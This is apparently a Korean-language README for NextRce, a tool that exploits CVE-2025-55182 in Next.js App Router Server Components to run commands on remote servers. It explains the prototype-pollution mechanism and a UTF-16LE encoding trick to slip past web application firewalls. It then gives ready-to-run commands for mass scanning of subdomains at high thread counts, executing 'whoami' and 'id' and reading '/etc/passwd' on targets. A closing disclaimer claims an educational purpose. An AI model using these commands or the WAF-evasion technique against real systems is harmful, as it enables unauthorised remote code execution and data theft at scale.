
React Shell 및 Next.js RSC 익스플로잇 도구 (CVE-2025-55182)
child_process나 execSync 같은 키워드를 포함한 일반적인 페이로드는 종종 웹 애플리케이션 방화벽(WAF)에 의해 차단됩니다.
NextRCSWaff.py는 특수 제작된 UTF-16LE (Little Endian) 인코딩 엔진을 활용합니다. 악성 페이로드를 이 특정 형식으로 인코딩하면 바이트 시퀀스가 완전히 변경되어 대부분의 시그니처 기반 WAF에서 감지되지 않습니다. 그러나 Next.js (Node.js) 서버는 명령을 올바르게 디코딩하고 실행합니다.
개념 증명: 위 스크린샷은 일반 페이로드가 차단된 모습(상단)과 NextRCSWaff.py의 --bypass 플래그를 사용하여 RCE가 성공적으로 실행된 모습(하단)을 보여줍니다.
NextRce는 CVE-2025-55182를 탐지하고 악용하기 위해 설계된 고성능 멀티스레드 보안 도구입니다. 특히 Next.js App Router 아키텍처 내의 React Server Components (RSC) 구현을 대상으로 합니다.
Server Actions의 직렬화 과정을 조작하여 NextRce는 취약한 인스턴스에 대해 원격 코드 실행(Remote Code Execution, RCE) 을 달성하는 조작된 페이로드를 주입합니다. 스마트 탐지 엔진을 통해 취약한 App Router 아키텍처와 안전한 레거시 Pages Router를 자동으로 구분하여 대량 스캔 시 효율성을 보장합니다.
window.__next_f 찾기)하여 취약한 App Router 대상과 레거시 Pages Router 사이트를 식별합니다.stdin 파이핑을 완전히 지원합니다. subfinder, httpx, gau와 같은 정찰 도구와 원활하게 통합됩니다.ThreadPoolExecutor를 통해 최소한의 리소스 오버헤드로 수천 개의 도메인을 동시에 스캔할 수 있습니다.Next.js App Router는 React Server Components (RSC)를 위해 사용자 정의 직렬화 형식을 사용합니다. 취약점은 Next-Action 헤더의 역직렬화 로직에 존재합니다. 특별히 조작된 객체(__proto__ 오염)가 서버 액션 엔드포인트(예: /adfa)로 전송되면 내부 파서가 child_process를 통해 임의의 Node.js 코드를 실행하도록 강제될 수 있습니다.
X-Powered-By: Next.js 헤더와 특정 경로 구조(/_next/)가 있는지 확인합니다.window.__next_f -> 취약 (App Router)__NEXT_DATA__ -> 안전 (Pages Router)execSync(cmd)를 실행하도록 강제합니다. stdout은 base64로 인코딩되어 서버의 오류 응답에 있는 digest 필드에 반환되며, NextRce가 이를 디코딩하여 표시합니다.# 저장소 클론
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# 디렉토리로 이동
cd NextRce
# 종속성 설치
pip install requests
표준 익스플로잇이 차단되지만 대상이 취약해 보일 때 이 스크립트를 사용하세요.
# --bypass 플래그로 UTF-16LE 인코딩 활성화
python3 NextRCSWaff.py -u https://target.com -c "whoami" --bypass
Linux 파이프라인용으로 설계되었습니다. 서브도메인 목록을 도구에 직접 파이프하세요.
# 표준 스캔
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# WAF 우회 스캔
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
표준 스크립트를 사용하여 특정 엔드포인트에 사용자 정의 명령을 테스트합니다.
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
높은 동시성으로 파일에서 URL 목록을 스캔합니다.
python3 nextrce.py -l targets.txt -c "whoami" -t 100
트래픽을 Burp Suite 또는 다른 프록시를 통해 라우팅하여 분석합니다.
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
이 도구는 교육 및 보안 연구 목적으로만 개발되었습니다. 저자(Mitsec)는 이 도구로 인한 불법 사용, 손해 또는 무단 액세스에 대해 책임을 지지 않습니다. 보안 테스트를 수행하기 전에 항상 시스템 소유자의 명시적 허가를 받으십시오.
NextRce는 Mitsec이 개발 및 유지 관리합니다.
| 플래그 | 설명 | 기본값 |
|---|
-u, --url | 스캔할 단일 대상 URL | 없음 |
-l, --list | URL 목록이 포함된 파일 경로 | 없음 |
-c, --cmd | 서버에서 실행할 명령 | id |
-t, --threads | 동시 스레드 수 | 30 |
-p, --proxy | HTTP 프록시 URL (예: http://127.0.0.1:8080) | 없음 |
-v, --verbose | 상세 출력 활성화 (실패 시도 표시) | False |
-B, --bypass | (NextRCSWaff.py 전용) WAF 우회를 위해 UTF-16LE 인코딩 활성화 | False |